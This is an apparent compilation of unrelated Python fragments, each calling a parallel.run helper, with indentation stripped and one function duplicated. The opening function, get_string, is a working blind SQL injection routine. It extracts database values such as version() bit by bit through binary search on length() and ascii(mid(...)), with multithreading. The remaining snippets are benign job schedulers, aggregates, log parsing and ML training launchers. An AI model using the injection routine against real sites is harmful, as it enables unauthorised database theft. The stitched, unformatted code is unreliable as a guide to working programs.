def get_string(template, val, func):
# val: 'version()'
# get length
ltemp = 'mid(lpad(bin(length(%s)), 8, "0"), %d, 1) = %s'
length = binary_search(func, template % ltemp, val,
8) # content length limit: 2^8
print('length: %d' % length)
wtemp = 'mid(lpad(bin(ascii(mid(%s, {0}, 1))), 8, "0"), %d, 1) = %s'
print('\r' + '_' * length, end='')
output = dict()
def _(obj):
(i, j) = obj
_ascii = binary_search(func, template % wtemp.format(j + 1), val, 8)
output[i] = chr(_ascii)
print('\r' + ''.join(output.get(_i, '_') for _i in range(length)),
end='')
sys.stdout.flush()
parallel.run(_,
enumerate(range(length)),
thread_num=max(1, min(THREAD_N, length // 2)))
print()
return ''.join(output.get(_i, '_') for _i in range(length))
def _update_file(self):
if self._updating:
return
with self._update_lock:
self._updating = True
def download_and_compare():
new_file_name = self.get_file_path() + '.new'
try:
ash.get_review_into_file(
self._review.get_id(),
self._name_in_review,
new_file_name,
)
self._review._diff_with_remote(
self.get_file_path(),
new_file_name,
)
finally:
with self._update_lock:
self._updating = False
parallel.run(download_and_compare)
def _download_file(self):
parallel.run(lambda: ash.get_review_into_file(
self._review.get_id(),
self._name_in_review,
self.get_file_path()
)
)
def run_jobs(jobs, args, key):
jobs = [tuple(map(str, job)) for job in jobs]
if config.SCHEDULER == 'parallel':
machines = parallel.parse_machines(args.machines, args.njobs)
parallel.run('experiments.py', jobs, machines=machines, key=key)
elif config.SCHEDULER == 'single_process':
single_process.run('experiments.py', jobs)
else:
raise RuntimeError('Unknown scheduler: %s' % config.SCHEDULER)
def run_jobs(jobs, args, key):
jobs = [tuple(map(str, job)) for job in jobs]
if config.SCHEDULER == 'parallel':
machines = parallel.parse_machines(args.machines, args.njobs)
parallel.run('experiments.py', jobs, machines=machines, key=key)
elif config.SCHEDULER == 'single_process':
single_process.run('experiments.py', jobs)
else:
raise RuntimeError('Unknown scheduler: %s' % config.SCHEDULER)
def avg(data, column):
global __is_aggregate
__is_aggregate = True
vals = [row[column] for row in data]
data = parallel.run(parallel.map(
lambda chunk: [(sum([int(line) for line in chunk]), len(chunk))]),
vals,
'avg()'
)
dividend = parallel.run(parallel.reduce(lambda data: sum([d[0] for d in data], 0.0)), data)
divisor = parallel.run(parallel.reduce(lambda data: sum([d[1] for d in data])), data)
return sum(dividend)/sum(divisor)
def _where(where, data):
"""
Compile `where` ast into executable code and run
a parallel 'filter' on the data with it
"""
if where is None:
return
ast.fix_missing_locations(where)
return parallel.run(__where, data, "<where clause>", syntree=where)
def crunchlogs(self):
global log_regex
if self.args.format is not None:
logformat = self.args.format
else:
logformat = logformat.TYPES[self.args.type]
print
lines = []
for logfile in self.args.logfile:
screen.print_mutable("Reading lines from %s:" % logfile.name)
lines += logfile.readlines()
screen.print_mutable("Reading lines from %s: %d" % (logfile.name, len(lines)))
logfile.close()
screen.print_mutable("", True)
log_regex = re.compile(parse_format_string(logformat))
if self.args.lines:
lines = lines[:self.args.lines]
st = time.time()
self.data = parallel.run(log_match, lines, _print=True)
et = time.time()
print "%d lines crunched in %0.3f seconds" % (len(lines), (et-st))
help="eval mode only")
parser.add_argument("--retrain",
default=False,
action="store_true",
help="force retrain")
args = parser.parse_args()
commands = []
# all targets
targets = ["movement", "movement_up", "anomaly", "future_anomaly", "positive"]
# iterate over all folders
for folder in os.listdir("logs/"):
for target in targets:
commands.append('python -O classify.py "%s" --target %s' %
(os.path.join("logs", folder), target))
if args.eval:
commands = [cmd + " --nobalance" for cmd in commands]
if args.retrain:
commands = [cmd + " --retrain" for cmd in commands]
# all the commands to run
print("Going to run following commands (%d):" % (len(commands)))
for command in commands:
print("-", command)
parallel.run(commands, num=4)
loss = [
"InfoNCE",
"VAE",
"BCE-Movement",
"BCE-Up-Movement",
"BCE-Anomaly",
"BCE-Future-Anomaly",
]
bars = ["time", "volume", "dollars"]
commands = []
# we do 1000 epochs each
num_epochs = 1000
for a in bars:
for b in loss:
commands.append(
"python -O train.py --validate --bar_type %s --loss %s --num_epochs %d"
% (a, b, num_epochs)
)
# all the commands to run
print("Going to run following commands (%d):" % (len(commands)))
for command in commands:
print("-", command)
# run all commands
parallel.run(commands)
def imageToRGB(width, height, full_data):
return parallel.run(p_imageToColorLine, range(0, height), [specToRGB, width, full_data], verbose=VERBOSE_LEVEL)
def imageToEnergy(width, height, full_data):
return parallel.run(p_imageToGrayLine, range(0, height), [specToEnergy, width, full_data], verbose=VERBOSE_LEVEL)
trials = [
# (lambda x: x+2, 1),
# (lambda x, y: x+y, 1),
# (lambda x, y: x-y, 1),
# (lambda x, y: x*y, 1),
(lambda x, y: x/y, 1),
# (lambda x, y, z: x * (y + z), 2),
# (lambda w, x, y, z: (w + x) / (y - z), 3),
# (lambda x, y, z: x / (y + z), 2),
# (lambda w, x, y, z: (w + x) * (y + z), 3),
# (lambda w, x, y, z: w + x*(2.0 + y*z), 4),
# (lambda I, M, m, l, b: -(I+m*l*l)*b / (I*(M+m) + M*m*l*l), 10),
# (lambda x: 6.0*x, 1)
]
# models = [
# mlp,
# pnet_lambda(SCALE)
# ]
models = [pnet_lambda(lamb) for lamb in (100,)]# (100, 1000, 10000)]
for fn, steps in trials:
X, y = util.generate_data(fn, DATASIZE, scale=SCALE)#, noise=np.random.randn)
# pnet(fn, X, y, steps)
all_losses = parallel.run(models, args=(fn, X, y, steps))
# for losses in all_losses:
# plt.plot(losses)
# plt.legend(['Standard MLP', 'Processor network'])
# plt.show()
def min(data, column):
global __is_aggregate
__is_aggregate = True
min = __builtins__['min']
vals = [row[column] for row in data]
return min(parallel.run(parallel.reduce(lambda chunk: min([int(i) for i in chunk])), vals))
import basic
import basic2
import nested
import inheritance
import complex_types
import libuse
import parallel
from autolog import Autolog
autolog = Autolog(
[basic, basic2, nested, inheritance, complex_types, libuse, parallel])
autolog.run() # by running this function, logging is activated
complex_types.run()
libuse.run()
basic.run()
basic2.run()
nested.run()
inheritance.run()
parallel.run()
